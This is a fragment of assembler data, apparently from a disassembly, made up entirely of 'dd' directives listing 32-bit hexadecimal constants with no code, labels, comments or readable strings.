		dd 518B6A8Eh, 6F52ED00h, 77EC5569h, 3FF602h, 5F111960h
		dd 0B217362Bh, 82CC151Ch, 3DF0BBBh, 0C0A0A0A4h,	3C428ACBh
		dd 98008896h, 9024191Bh, 7A3C8558h, 9F9160E9h, 30FDBDh
		dd 0C2557EB4h, 0F27A8459h, 2BC10A9h, 0E42503ACh, 190E61A0h
		dd 0F81C3280h, 65B90049h, 6EDA767Dh, 9800C521h,	1D687FC8h
		dd 10BC5Dh, 0DDE1A2CDh,	8595A1A5h, 33546100h, 67F51D45h
		dd 863F00F1h, 59BEE019h, 0C01F5123h, 27CE9E57h,	0DE4B835Ch
		dd 219100D7h, 575E81E0h, 0A6E31D6Eh, 17807420h,	199585FCh
		dd 5E2A28DAh, 0BA21120Ch, 3070C1A5h, 0ABC899CCh, 61A858D0h
		dd 88CF007Ch, 0A57A59F8h, 0C318C2BDh, 39142845h, 0E17177h
		dd 0E7F551C8h, 69DBC504h, 2A660F1h, 947D0600h, 60D363C7h
		dd 0C3C90723h, 57495A13h, 0AC4D7017h, 6E00687Ah, 2E7F43B4h
		dd 0A1AF86h, 0C8529C6Ah, 38838B49h, 0EEAB4101h,	0B181A420h
		dd 0FC5DDF4h, 0CA1AA7BBh, 7B7A6320h, 0DE006709h, 1022BE73h
		dd 0A5E0B3h, 0D24AC06Dh, 5D01C3DBh, 0E6722707h,	5A7342AEh
		dd 101174A4h, 0E5F9F6h,	40030AFFh, 92BD2Ch, 0A0EB5B6Bh
		dd 2F498DA1h, 94BED100h, 3BCF8245h, 8B71126Eh, 0C06E03B7h
		dd 0EEB84CDBh, 1FEE25C1h, 69D73E00h, 2162D49Ch,	77C7528h
		dd 20BF975h, 0FFB4C04Ah, 3503CDC8h, 9BE7B0DBh, 88929177h
		dd 0ACE5D4h, 4F4B3952h,	3E0951B8h, 89498200h, 0F05CE62Bh
		dd 0AA1700C8h, 24C2E86Eh, 2D0093FCh, 7FB89C20h,	0AE380Fh
		dd 14CB6C32h, 22EC282Bh, 5D965600h, 0D052348Dh,	838C007Dh
		dd 975F1EC9h, 0FD004714h, 3A0F06B7h, 0C7CFBCh, 0EA6CD53Bh
		dd 4B2DB211h, 9EC0F501h, 7B024979h, 32F13180h, 46411286h
		dd 5E520505h, 0A400E0CFh, 58DB9DCDh, 4528DF53h,	611844Ah
		dd 0A9B99978h, 0FBF22300h, 573DF360h, 56A81D33h, 305170F7h
		dd 1A80E671h, 0B01203E5h
		dd 0D033F364h, 0D30E817Bh, 8256119Eh, 80F1C571h, 905F038Ch
		dd 30920F67h, 80BEBF7Ah, 1E1F4F7Bh, 0C4D2ABCDh,	513A24E8h
		dd 88F93280h, 834720B7h, 5A89E601h, 0B60A8D05h,	0E5D05180h
		dd 1B2DB96Ah, 2AF3BD00h, 1470E289h, 46631291h, 8D51024Bh
		dd 0E1807D9Eh, 0A177B4D0h, 0DC1AC600h, 1FD57FD8h, 3C41B7C1h
		dd 0D7B4ECC0h, 0D0C49101h, 7F54A98Fh, 9083E4DCh, 0F3020024h
		dd 273289A5h, 41006586h, 0A35FE099h, 7349AA66h,	0F6DE041Dh
		dd 808D2A3Ah, 0A0F9D5F7h, 0E85F2D00h, 681C733Fh, 32FC0049h
		dd 0ADF2A644h, 2602AB8Fh, 7183E882h, 427C48D2h,	7CCF77C8h
		dd 58EE7CA9h, 102B0F0h,	8DB48C9Bh, 251E16C0h, 0A9384C2Ch
		dd 0B6F5E300h, 0D2E804h, 18142319h, 83794D39h, 672B4Ch
		dd 0E8108EC0h, 1A6DD9h,	6C20EF68h, 0C6F2D4B9h, 64972800h
		dd 45E68890h, 7D7F01A9h, 56E48CADh, 5734C894h, 1255100h
		dd 0E6F6176Ch, 0AE450037h, 85FA047h, 0C91D4BD6h, 7D8E8CCAh
		dd 307EA084h, 75E92E10h, 68141250h, 0F5180070h,	4C6AFF2Bh
		dd 0EBDD9E00h, 0D4C6C4CBh, 171D98B7h, 541FABh, 5027F77Ch
		dd 0F6F2708Fh, 5F0EBF00h, 1BC0DCEBh, 99F13E17h,	0C6CAF080h
		dd 33773ED0h, 0D0D3C92h, 388E3679h, 2564DF4h, 0F9FC131Eh
		dd 6C407C18h, 89396E86h, 0DCAE006Ch, 0D1A5568Bh, 0FD770F1Fh
		dd 91003B07h, 0FB68EC1h, 11ADC712h, 59727443h, 0C0B4EAh
		dd 0C0678D10h, 31813D51h, 6D003E75h, 415A568Ah,	1BD29Eh
		dd 273FBCBAh, 70DDC59Dh, 65104D13h, 0FC3A050Fh,	0B46F5581h
		dd 91E4EC95h, 84ED00FEh, 4ED7A842h, 0A700B1BFh,	43F6B89h
		dd 2C5F5BC1h, 2A048h, 0B4CF47D7h, 6126404Fh, 31E9C2Ah
		dd 6789440h, 138E1C71h,	20C7F44Ah, 0AC2BAE78h, 0B582E76h
		dd 0D0C300EBh, 60E3BF44h, 384A1810h, 834F3881h,	9D8E1338h
		dd 0C0806FDFh, 0CA90ACB2h, 4B5D0C69h, 0CF280A3Ah, 21052300h
		dd 1D932603h, 541103A4h, 0A07FD2AEh, 91831100h,	0A27E97A7h
		dd 6A7FDEh, 4A463A5Fh, 693256B1h, 0F4EF1A00h, 27E9F1C2h
		dd 0A3C93928h, 0F3160EFCh, 1227070Dh, 0CF3BD0E6h, 0BA48A8FBh
		dd 258800C7h, 8D384278h, 0E58A0044h, 0D5599C9Eh, 0FB0051F0h
		dd 4E8153DCh, 0B8EF5DF5h, 0E0C8547Ch, 12BF0719h, 0C2B2787Fh
		dd 14481C63h, 527803AAh, 889D5630h, 0BADF0h, 0A2A5AE5Ch
		dd 9AA75B8Ah, 0D8EEBE30h, 3C82C4A8h, 170096C9h,	39DED0FDh
		dd 0F40E7881h, 38D1E3ACh, 6A22078h, 0CCD50136h,	0C4005859h
		dd 2C48E330h, 9ABD0712h, 1AED09C8h, 4700A134h, 478AFF2Ah
		dd 8D265B70h, 76007CD6h, 172137FEh, 0F296006Dh,	22DAB6B9h
		dd 580097CAh, 5CA07E30h, 0B0C1B4Fh, 6C85A921h, 0E6F38055h
		dd 169D65B3h, 1826BAh, 2E8160ECh, 980C90B7h, 19F01CCFh
		dd 7DC20416h, 902D3124h, 1358B7D4h, 0AB737773h,	0FD117903h
		dd 8016EFB3h, 5A3B606h,	54336A14h, 388780FFh, 46067AE6h
		dd 10BBE22Bh, 5E8F0FF0h, 3340D982h, 680DDC3Ah, 4CB338h
		dd 0FE6C3B5Dh, 50DF35C8h, 0C5AC19h, 10A69453h, 1EF7F31Ch
		dd 3CE70201h, 67DF2176h, 78E93C20h, 0E3263F2Dh,	485710E6h
		dd 2F15D201h, 870B91F4h, 3EF9920h, 29195D8Eh, 37F8C6D0h
		dd 0B5702D38h, 0A4164828h, 950E7E00h, 824F4AF8h, 0D5DB005Eh
		dd 0EB1C49BDh, 7907BA04h, 6BE3FD0Dh, 0B1140110h, 634B007Fh
		dd 6EC65F95h, 0F7B050Ch, 1E57A130h, 9EE5CAEh, 4D54B43Eh
		dd 0B2BB2C20h, 0FC006C41h, 0B76245A0h, 940472h,	0CBE903A7h
		dd 771078B4h, 0B900D892h, 5A54F737h, 797AEA0h, 4B75E1F2h
		dd 593A406Eh, 0C5006C8Dh, 7693EF87h, 1AC350Ah, 716809C9h
		dd 0FDAF960Dh, 0EC20C0C2h, 222AAE03h, 90F2B29Eh, 0CDF07Fh
		dd 8D619604h, 0FE7CA193h, 0E7EBB303h, 9898E2ABh, 486D3178h
		dd 92002F23h, 7DB3F165h, 2003CBB5h, 0C3DA24Eh, 3A52C0D8h
		dd 80C16449h, 0DAC90E1h, 700014B4h, 835355FEh, 0CB6D50h
		dd 0FC64E19Ch, 67F8C0B3h, 0F3A6D000h, 0D7CE6B9h, 0B80FFAABh
		dd 621400B8h, 0B02F4799h, 6B03958Fh, 76C7DDF6h,	616100E2h
		dd 0ECF8DB7Ch, 94015480h, 505613CCh, 9864A0E3h,	48DB5D39h
		dd 0C2740079h, 0CCAC5647h, 0E948AAFBh, 18C078B4h, 6F75F322h
		dd 29BB03A0h, 7739F950h, 0D9EFDFC0h, 504D8737h,	0F2BB8081h
		dd 0F2C70A0h, 3059C8EFh, 355AD81h, 0BC40C2A8h, 0EE602B6Ch
		dd 5EE3E7A9h, 0EF1EEA3h, 0DBFB903Ch, 0C1FF9525h, 402FF21Fh
		dd 75602558h, 98F9C383h, 7470E380h, 0F3680092h,	44F6A02Ch
		dd 0C800AAE8h, 4C32E4A8h, 38CFD8h, 8AD6D0C7h, 0F28D29F1h
		dd 1160F494h, 0CC331Ch,	908F8E45h, 849ACB73h, 9F281600h
		dd 0A6FB08B9h, 0A8B0096h, 24397A02h, 0DD1EBA66h, 9E3F720Fh
		dd 99004919h, 0BEAEEFF5h, 0B5C43B9Ah, 9CAA6800h, 0BADDDC8Eh
		dd 79A24800h, 0AF9ADBD6h, 3D83008Dh, 4B71AAAEh,	0DF00E2EEh
		dd 7CE11F93h, 0E796FAh,	81F68C8Dh, 9F776647h, 8459082Ah
		dd 0BCBC953Dh, 5851006Fh, 81F393E1h, 0D89A12FCh, 680020F8h
		dd 0C400EF7Bh, 0CB6914E9h, 306725FBh, 2C20839Dh, 0A00E4F36h
		dd 0E0E2599Eh, 41955F74h, 0E697002Eh, 5780A854h, 0F304210h
		dd 0C9E179A1h, 0FD7CFCh, 6ED7F17Eh, 0ED5DA8F6h,	27EA7400h
		dd 0F0675E55h, 92CD0078h, 0D1F825E4h, 892C46B7h, 3D02C3h
		dd 704D3E80h, 759B6BD6h, 23DA0058h, 9A6975FFh, 0E7615A5Eh
		dd 2F2035C1h, 9710682Dh, 0BE0900E0h, 813C9A59h,	0EB0A007Dh
		dd 0F3ABB516h, 71002864h, 416552DDh, 0F21F1h, 0A7BC5AFCh
		dd 0CB1470C8h, 6DC23300h, 0E7BDD0Ch, 55840052h,	0A7503DBAh
		dd 9A688030h, 86570411h, 1039A05Eh, 0ED77E200h,	0C15202A8h
		dd 0BC7D43h, 12338CC9h,	39375D7Bh, 0E1559806h, 2029ECA8h
		dd 67753DC5h, 737C4200h, 916CB58Bh, 56DB04DDh, 80C929B7h
		dd 3B867FC0h, 0D3005976h, 0C8502622h, 72FA95h, 2A0F433Dh
		dd 0FF01B5A3h, 241B3Ah,	2C3ACE83h, 4A3B90h, 0B2CDF89Ah
		dd 0BE9CF8Dh, 45E35700h, 0CB41B5FEh, 0D6261C07h, 5A7801EDh
		dd 60C5FF40h, 300C8ADh,	790DF62Dh, 0D63DE9h, 0B80BEA99h
		dd 5A8623F5h, 3A8F9A00h, 24A34484h, 0AD2C01A0h,	0C5F8FBF1h
		dd 8FE44057h, 27E9477h,	80450E3Ch, 0BE92AFBFh, 603D4AECh
		dd 558BD8C5h, 371C6749h, 4E45D0B7h, 0B0003C16h,	0AA2456ACh
		dd 0BB4D1FBFh, 61DF65h,	5A2E2666h, 0E9000BDBh, 0B58D6CE7h
		dd 8050D5h, 13D5710h, 4EC1A097h, 247B4300h, 0CA4793E5h
		dd 13360329h, 78491BBCh, 45F16A00h, 560950D1h, 8E590BC5h
		dd 92809084h, 0EA6A39FAh, 916BA100h, 94E6CD63h,	0FDF700B4h
		dd 43ECC43Dh, 4900698Bh, 3928E8DBh, 1D351E9Eh, 520AF6h
		dd 5EEDAD15h, 8E125842h, 18007B64h, 0AA43568Ah,	37EA59h
		dd 0E035282Eh, 0D123FE44h, 10CE7400h, 0ADBFE502h, 9140080h
		dd 0E08871A9h, 4E07BD1Dh, 0EA130BAEh, 7B5904E0h, 73460078h
		dd 25FA8E7Ch, 0F0005C4Fh, 974C5233h, 38D710Ch, 0DFFFD20Dh
		dd 3ECF443Eh, 62302A1h,	0B1020C5h, 7F4ED300h, 0CA0328F5h
		dd 5F6100C7h, 9C8E2214h, 66010740h, 2049785h, 0ADF9E96Bh
		dd 26AB806Eh, 380135ACh, 54401EA5h, 0DEC878BAh,	75EF001Fh
		dd 0C21A06ADh, 47003C88h, 38A1572Eh, 275F24DCh,	0C2E1218Dh
		dd 39C5DCA8h, 342B5502h, 0E0F943E3h, 0C03503Ah,	1B02A54h
		dd 83009178h, 472C58EBh
		dd 67CA1312h, 57CC1803h, 0D43A5018h, 0AF01A453h, 0ECC287DFh
		dd 3ED45F6Dh, 0E8CC607Eh, 56FF370h, 0C0F04A5Ah,	6A3100EAh
		dd 0D1CB4EE2h, 0A202AFC1h, 0E7E5862Ah, 43E8403Ah, 0B1F5009Fh
		dd 0E9782FB5h, 0A0011445h, 6C651C7Eh, 0CFE83D9Dh, 9FC5005Ch
		dd 0AACA8B3Eh, 70038F93h, 94EA0C84h, 0E81000ABh, 0DA31B4B8h
		dd 2A13F2EEh, 20407647h, 0A8E5BC5h, 0F3720045h,	9CF02D1h
		dd 0EE0E159Dh, 29923C70h, 5306805Bh, 0DFA1EDh, 7B9FA769h
		dd 0E1F05545h, 0C8C78F0Ch, 0D91174h, 229C2063h,	4D0AA878h
		dd 6FCB2B00h, 59052C3Dh, 58350133h, 60B1D7F2h, 0CFF72076h
		dd 1E1BD009h, 19B80056h, 13459D55h, 9E403h, 3BB1EE00h
		dd 5800AF7Ah, 57247897h, 4F27F2h, 5AA83821h, 6CAA827Dh
		dd 18EC8B0Ah, 0D71D9022h, 0B500A192h, 49FAE820h, 611F0015h
		dd 1BD28A6Ch, 9A005EB4h, 0F03C982Dh, 87998Fh, 539DD6A5h
		dd 78136B7Bh, 6E1CC8EAh, 9EC7F291h, 791027F6h, 0FBD30A9h
		dd 0B0AB1D8Fh, 437AEC85h, 0E2DA02D8h, 0F9812BD8h, 0FB00E6E4h
		dd 0A75D11EAh, 754CE053h, 9F11C17h, 8685C75Fh, 0F7519039h
		dd 0A600A32Dh, 0F8941B60h, 1470BC9h, 252CF585h,	0E0CAF040h
		dd 0C301BF20h, 0BBE3B08Fh, 7020A45Ch, 98228C0h,	0B69000A5h
		dd 60362369h, 80A0525Fh, 0DA002BDDh, 29F5A07Eh,	668882h
		dd 0F6708117h, 5667B605h, 0E711F226h, 8E13DB07h, 809E04F2h
		dd 54D10DD8h, 2EDF0369h, 9C22C801h, 1ED21801h, 81A18B0Ch
		dd 0C1B430h, 60BE3A26h,	8D351FF7h, 9A3C4400h, 376F52CEh
		dd 67720ED6h, 88C00CF8h, 16B31114h, 448A6600h, 0FF516A63h
		dd 49209877h, 9203F880h, 3809F9F2h, 0FE745AA8h,	521FA61Fh
		dd 0F440AAC0h, 0E2B934h, 0CA6F7F1Dh, 515A55EBh,	0DB000579h
		dd 0B047DDD9h, 78E49Bh,	3A7EDE2Ch, 0AAF7607h, 75D63800h
		dd 5B171FA0h, 8C9C0049h, 1C91E127h, 0C1387389h,	477700DFh
		dd 0C7E4AD81h, 4DD20053h, 11F9E5ECh, 84E2E27Bh,	0CCD4C000h
		dd 2C4C262Ah, 80E30330h, 0FAFDAF72h, 97B977F8h,	6DE9291Ch
		dd 0D9230380h, 7AD0ACC7h, 9E7B0B14h, 0E02E9D5Ch, 0C5B76DE0h
		dd 0F0004AB5h, 6A85A1CFh, 0AD7C70h, 0F84D22C4h,	60476D9Ch
		dd 4BC39314h, 993CECh, 0C966BCB2h, 1D2FB117h, 400BEE9Ah
		dd 0A973E58Fh, 7A063EE7h, 0ED35BF5Ch, 2B161D98h, 0C16A9E92h
		dd 9B5DC789h, 4FBAEC1Eh, 0AB53DC00h, 0F0987709h, 0C05B1C83h
		dd 9F342E80h, 0BF7DC0FBh, 0BDCE9970h, 22190874h, 0BE20273Ch
		dd 341B18BCh, 20001192h, 248897CBh, 60FA06AEh, 0BAF712F2h
		dd 0C27E403Ch, 0B856861Eh, 113F440Ch, 0B49000F8h, 0F9FB187Eh
		dd 8307EA7Dh, 0CEBE96Fh, 391986C0h, 0F430F9F8h,	0A93013Dh
		dd 7AC1C220h, 83A98206h, 0B0EF96E9h, 0A1FA3960h, 0C100FB1Ch
		dd 5006449h, 60DD93A7h,	736F684h, 81CBB654h, 0CCD7E04Ah
		dd 7F003BAAh, 435DBB79h, 38D066C3h, 8E00E785h, 0DBD2D6E1h
		dd 54002651h, 11C7658Ah, 0A400422h, 5CCD3DECh, 0BEDA004Ch
		dd 0D183F73Fh, 0B3399638h, 1DE0878h, 3FCDC521h,	0D154E32Eh
		dd 3062E836h, 0FE814600h, 3BA21A51h, 0F3C73FE9h, 0E230A57Dh
		dd 0E4183CD6h, 0C9B618B9h, 0E8FE5028h, 690CD490h, 5880F7C1h
		dd 55B53A47h, 30A6206Bh, 76F6DEC8h, 0EDD0A0ABh,	0E906C5BDh
		dd 0C13920FAh, 318B6009h, 0ADBD05DAh, 0CC8E39h,	0DFBE2D92h
		dd 605D7B15h, 1314B10Dh, 0B34CC938h, 7C3E30h, 0BD976C2Eh
		dd 0C13F9466h, 1BBFC780h, 8898BA9Dh, 32357506h,	0F2309590h
		dd 0E9BE11BDh, 0BFB588E2h, 9703EA39h, 0F7A8B6F9h, 0F9E5A6A1h
		dd 0BE42FC57h, 0E4D7D528h, 0DE2F371Dh, 50589A81h, 0B02B97EAh
		dd 60005AD6h, 57161AB5h, 0DFD29Eh, 0C30D6232h, 61041CF4h
		dd 3017F90h, 8254CF7Dh,	46D860FBh, 49C300B5h, 0B9A2EEF7h
		dd 790031F3h, 5D1D990Ah, 55F44Ch, 7D6CEDB5h, 20651AA1h
		dd 0A5921800h, 0BCE1B32h, 87A300ACh, 386DAB25h,	3300DC1Ah
		dd 3F9EEBB4h, 77124h, 160590B6h, 6281345Fh, 96BD1900h
		dd 0CFA15953h, 82C61EB0h, 455C005Dh, 0DC9DF815h, 62799BF2h
		dd 0B008D74h, 0C20C7072h, 7EB3874h, 54C70696h, 91654012h
		dd 0C00766B0h, 8C35A746h, 0A624740h, 0FA5F00B4h, 8AA802A5h
		dd 45EECE8Dh, 0DB3C8400h, 3D8710A1h, 0F81403EBh, 0EC314077h
		dd 0CD2BFBB8h, 0A7DB500h, 8D8845FEh, 530C3A57h,	0DFE56063h
		dd 0F8A0800h, 93CF593Bh, 0E2350096h, 57072C5Ch,	0FF0CE91Ch
		dd 78FBBD2Eh, 30D06C80h, 8CC9840h, 1B2D10E1h, 590397C0h
		dd 57A6D3E0h, 44FA107Ch, 0AC186F63h, 0B210086h,	0BF17B07Ah
		dd 4FB8A5AEh, 0B26B4A18h, 0C395D550h, 0C696DB61h, 4A748688h
		dd 6C69CB00h, 0FF9D2E14h, 600C3882h, 8C3B59E2h,	621C500h
		dd 0E52D0039h, 66449F42h, 7519238Eh, 32C0ED33h,	806A2880h
		dd 0F76CD727h, 0AD96CD1Bh, 9D0EA148h, 7AA2C18Ch, 1A1D29E9h
		dd 0D60037EBh, 316AF099h, 0CC803F76h, 3947A961h, 639BDD1h
		dd 0F13ED2C6h, 1871910h, 0FFD51952h, 0B1273100h, 389B10B9h
		dd 0A291C6CAh, 4007294Eh, 74D99814h, 7C4C806Fh,	11230EAh
		dd 2A1C3D4Eh, 0FAFB2557h, 0A6D16483h, 0F295902h, 0A543DE3Ah
		dd 0A8709FB8h, 58115C2h, 0FD36B811h, 5B5D8069h,	45054D01h
		dd 0B4989085h, 6158A84Ch, 0EB3500AFh, 76F97481h, 960002FBh
		dd 0E41BB55Ch, 0C21C3h,	70292D19h, 0F2A253Eh, 0CC72A50Ch
		dd 88FD4961h, 12004FD8h, 0F834EE5Bh, 905103Ah, 8CD4BAE8h
		dd 0A3A62410h, 81A2CD01h, 2D9B2F77h, 0A4A23102h, 9E244DCFh
		dd 0A573890h, 0EB7C8888h, 5F6212F0h, 0A080E511h, 0F7587DC8h
		dd 28F200CEh, 60BF1B72h, 0E806E44Fh, 3561DB34h,	3F0C1561h
		dd 2AC098A8h, 0F4803875h, 62D68700h, 98BEA49Dh,	0C329047Bh
		dd 70025441h, 77AFDB3h,	88D71731h, 0EA6E9075h, 0C706ECE3h
		dd 0AED844D2h, 68015071h, 903281E2h, 85880819h,	993CA20Ch
		dd 6B4B00C2h, 2BAB9378h, 6D033456h, 2E73886Ah, 300A6CE9h
		dd 0C1CE91AEh, 399F8ACh, 8478032Fh, 99B1D9FDh, 68150FEBh
		dd 1948BE5h, 23AB9BADh,	7991281Bh, 414F0002h, 1D718D5h
		dd 865601A5h, 1BB9D8B5h, 8F46DC2Eh, 8026F26h, 94D563h
		dd 3BF28E81h, 38B49E5Bh, 6DEEAB02h, 812DA979h, 87AFA6DCh
		dd 0EA69A180h, 6024CC4Dh, 18912E04h, 6880291Ah,	31254342h
		dd 31282A16h, 5AD8918Ch, 0D80FCC00h, 297E6C95h,	27211F00h
		dd 1BD61170h, 68166313h, 0A47BD5h, 3298F535h, 0D15500EDh
		dd 0BF9C7A94h, 0DC018AC3h, 0D0F8E281h, 0F89E1C33h, 6CF6802Dh
		dd 534EB00Ah, 1122BC90h, 5E44818Eh, 0C663F210h,	16FD2200h
		dd 2C95DD09h, 0EB0A033Bh, 421D4BBh, 8F68A2A7h, 0F380F890h
		dd 47997861h, 0C45082E7h, 370EA01h, 6F8B6CECh, 78764FEEh
		dd 4D80AD88h, 85CCC0CBh, 0BCA4D751h, 81426490h,	0DBB18878h
		dd 0B65ADE06h, 0E029B4E6h, 0CD2D8887h, 4807E503h, 0A303A8A9h
		dd 1413C2Ch, 0D200A140h, 5EE6D167h, 496A0Bh, 0F5A4B585h
		dd 0BBA224FDh, 24EFC07Bh, 50887E2Ch, 30E85801h,	79DB600h
		dd 0B1740F8h, 0FE8721C3h, 0A6A10B74h, 300E6F47h, 58442CB1h
		dd 80862488h, 3023F06Ah, 0C613C7D1h, 0B421CAC9h, 0A610750Ch
		dd 0F20308DBh, 2A4A57A4h, 30E1002Dh, 32E29E24h,	0D90C21DFh
		dd 58AB749Bh, 8C362A9Ch, 12824288h, 18BDBh, 2A50BCADh
		dd 52DC81A0h, 7F06B4A5h
		dd 1197AE33h, 3E043200h, 0A96DC270h, 99490085h,	2E40C911h
		dd 0AD31C0EFh, 0F2B1C983h, 73D8CBF0h, 6F3E266Eh, 72ECE098h
		dd 0A400ED68h, 49B111A0h, 5376484Ah, 570AFC1Dh,	408C8116h
		dd 9062C52Bh, 472D360Fh, 3BFEE708h, 595292C0h, 93D27C4Eh
		dd 30AA8008h, 1CF9D7BAh, 188C4A2Ch, 62006868h, 3137A59h
		dd 0DD72026Fh, 5E8BC814h, 0E8751B60h, 358068A8h, 0DC4F21Dh
		dd 18A0BB95h, 0B44996D5h, 1272ADh, 0E017748Eh, 6D4FF735h
		dd 0EC34BF00h, 4C6536D2h, 0D8484985h, 63398C30h, 511F0A28h
		dd 0F0268F52h, 16DD178h, 0FE07BB35h, 7E6FC032h,	18D1DF0h
		dd 0D6A9F10h, 0B0879590h, 71C5F948h, 0C9A2ED4h,	0A3E18A88h
		dd 801088A8h, 95B3F040h, 2DBF07C5h, 0C98A0A96h,	6703D4B1h
		dd 0C0984848h, 0DB3F36Dh, 7A30F2Ch, 0D2A02B12h,	0E5E3221Dh
		dd 7524AEE0h, 0E88A486Dh, 602C8DFFh, 7C8AC040h,	0D1A0309h
		dd 28484B51h, 338637A0h, 48882C48h, 70AACD20h, 0D67CF433h
		dd 1FBC00C9h, 779765D5h, 82803A48h, 64E748E1h, 0CC5F09F8h
		dd 68CFE28h, 1300C021h,	0AECDD09Eh, 726F84C1h, 0B88D4D2Ah
		dd 8A9D1680h, 7F0983C5h, 5FABD7Ch, 0C1C1067Ah, 0D44162ADh
		dd 998E90D5h, 5600EDA9h, 71BA6310h, 0FB4DE54h, 6848F942h
		dd 9F5CA622h, 880184C4h, 8B74B854h, 93D5E118h, 91F211h
		dd 0D776AA31h, 904E424Fh, 39B0FB31h, 961392CDh,	84E025B5h
		dd 0DC3811DCh, 79003B22h, 0F0D34145h, 4FEC0Bh, 0C45B9AFEh
		dd 1B56BB6Eh, 0D8B048F1h, 0F32B770Bh, 877491BFh, 6D507E10h
		dd 8E08EE00h, 2E522BCFh, 0A4A84D14h, 107B2887h,	4341D54Fh
		dd 79C13600h, 16DD2737h, 605A020Eh, 464E3BDAh, 0E8BC30h
		dd 0AA408BF7h, 39734F5Ah, 45E05D16h, 408CE472h,	14B769C3h
		dd 0A402962Ch, 9C46CBC8h, 66090C9h, 39472C5Dh, 77F92909h
		dd 79447CBCh, 418F65D5h, 0A19DC012h, 0E6743E65h, 0A44520D6h
		dd 0D4208C32h, 82830957h, 609198BAh, 188062F9h,	7A2951ACh
		dd 0B0A5248Fh, 0FEB20301h, 1CDBB78h, 0CC9AE0C2h, 80CC28F0h
		dd 5CDD9B03h, 0D3B00323h, 0EBBD63CDh, 99E5E118h, 3A701BD1h
		dd 8C010FF9h, 1913126Dh, 7063D1CEh, 9B0B9040h, 14EC7EEAh
		dd 73A230A8h, 533C8469h, 0F4AF2E01h, 1B7DCFDFh,	220F4C64h
		dd 80248CC4h, 24402CCEh, 0CD572C7h, 9E2947F2h, 4891CFF1h
		dd 0CBC84490h, 7957E6h,	3FB15FEDh, 0CCD65E12h, 0B5716D01h
		dd 887448DAh, 0E97DFC63h, 0D5250436h, 0DACF0023h, 0CBB4F6F8h
		dd 57B2400h, 0EF236044h, 0E89C480h, 982D4998h, 0D6AEFCh
		dd 671DA027h, 0A8E70499h, 112CA701h, 47FAC0CAh,	888ED434h
		dd 1A00A4D8h, 4B21A2CDh, 281D63DCh, 78D5C8h, 20E26C2Eh
		dd 21B14E8Fh, 43255B01h, 5E3B1B18h, 6A0C20h, 0EB16DCF7h
		dd 0D6E630B9h, 4A40565Dh, 0F3C98C20h, 0E5260EAAh, 79F9718h
		dd 63A34D75h, 0D11023C3h, 0CD808505h, 0FC41D499h, 0B2C8C4Dh
		dd 85D0547h, 2069A034h,	2057E2C4h, 0C48355B0h, 0BC4AFF4h
		dd 0AA4B7BFAh, 0E047D010h, 64618360h, 42FDA2h, 772BD614h
		dd 43F0B15Eh, 0DD96E400h, 292A0B74h, 30DA0515h,	88D33912h
		dd 0A8403DC0h, 38FC0067h, 4208DD41h, 5F07B0C1h,	0F94C2044h
		dd 0F33B94h, 4B0D390Ah,	9150B184h, 8B58602Dh, 0F3D51D88h
		dd 1A61064h, 0C2A40F29h, 809AE2A9h, 0D624CEB1h,	8523Fh
		dd 0FF20DA18h, 0AA4D7340h, 984C697Dh, 0AFC0DDACh, 0B71E5379h
		dd 6FEA03FBh, 43265821h, 8078A2A9h, 0A12D4889h,	17B5F90h
		dd 927EE070h, 5C4A8034h, 40008CDCh, 0D2CC242h, 1C615503h
		dd 883C6E05h, 4701EFD3h, 18EAAE70h, 67CDC160h, 8B3A89A4h
		dd 2C35BCA0h, 0D612E130h, 2C22D413h, 0CC63E039h, 9D180089h
		dd 0A291F1E4h, 5324E312h, 808420A1h, 0BC8C83D2h, 40FC9997h
		dd 0A69A2534h, 2DF13600h, 0EDD98B7Fh, 11A20250h, 62475D77h
		dd 0DE762BE0h, 9653EB39h, 4844AA5Ch, 0D8B60187h, 0C8A1058h
		dd 6C864BF4h, 5CF079A5h, 0CFCABC07h, 12B9E578h,	7C74600Ch
		dd 79A9C488h, 0A4202499h, 0FEFB55h, 750FA127h, 8211E4BDh
		dd 0FD428F09h, 9C140548h, 44314448h, 0C830563Eh, 3A49E0h
		dd 91EC626Ch, 0B6E357Ah, 9C872E00h, 0A5203CF5h,	26C9AEFh
		dd 39389B0Dh, 0FC4A42F7h, 320C1C61h, 0F4800958h, 0A40E48Bh
		dd 6F22153Bh, 34358B84h, 40876424h, 2526E849h, 0D103029Fh
		dd 0A81939FFh, 74AC7490h, 0F2F86700h, 0C828DC56h, 874804C0h
		dd 0C2521ABCh, 47209378h, 0E68E77h, 0E30A53B8h,	73AE224Ah
		dd 0E544450h, 0D73C8B42h, 97771EC2h, 806844CFh,	0A6CBF27h
		dd 8BC4109Fh, 0A8362A2Ah, 4700F494h, 9F40966Ah,	0C680095Bh
		dd 0FCCC8879h, 27308100h, 0ADB0E959h, 2ECA0EA9h, 106041F1h
		dd 0C5897794h, 0F94BF4A4h, 0A48CE064h, 5EB81321h, 7EF000A0h
		dd 0D8DD6E4Fh, 41C8551h, 0F8ECC714h, 0D8722D96h, 90B4CE08h
		dd 3C8944ECh, 5EFA9501h, 2FD13FC8h, 27D98A60h, 94304454h
		dd 770056BFh, 5A01DE73h, 0E74E03h, 0D2DDC28h, 81C7B787h
		dd 4C371728h, 248F6B27h, 88409D64h, 4B92FD11h, 89C61700h
		dd 8581731Dh, 3DB00404h, 4074A2B3h, 5107B283h, 0D15E091Bh
		dd 0D0A2AEE7h, 70591157h, 0E0E30D05h, 287BD401h, 9033F13Fh
		dd 0DC3C9851h, 0CFC5D7A0h, 0AB7BE600h, 0FEE90117h, 48D4B098h
		dd 9AC8B479h, 1600714Fh, 88DC4F74h, 701E802Fh, 8B54C2BCh
		dd 0F1058F38h, 9CCBC45Ch, 30588866h, 4EFA0A69h,	0D0A0900Eh
		dd 82A4F848h, 2F5C0D57h, 0A836899Dh, 0B0590838h, 0F0D47C09h
		dd 0CC2C014Dh, 0A8243625h, 74288886h, 1894C271h, 0CB7F3104h
		dd 94ACC0A4h, 0F1D480B4h, 78B642D1h, 6102F511h,	0C5240A28h
		dd 4ACD12B0h, 70E5ACh, 410923DAh, 9D40C27Eh, 0CC0A5257h
		dd 20A93213h, 45A1BBA4h, 9C0013E0h, 1F0FC321h, 0EC22673h
		dd 0B0C618BEh, 8108F9F8h, 84A8138Ah, 6A08B0B6h,	0F88073A2h
		dd 9F104020h, 0CC950152h, 53BF9ECh, 0C021964Ch,	8CAC78D1h
		dd 214D598Fh, 0A63DDEA1h, 82D0914Eh, 6C00503Eh,	0E33B2BDFh
		dd 0A09444C3h, 76078411h, 0AFBF72h, 24C7FC10h, 0F9041731h
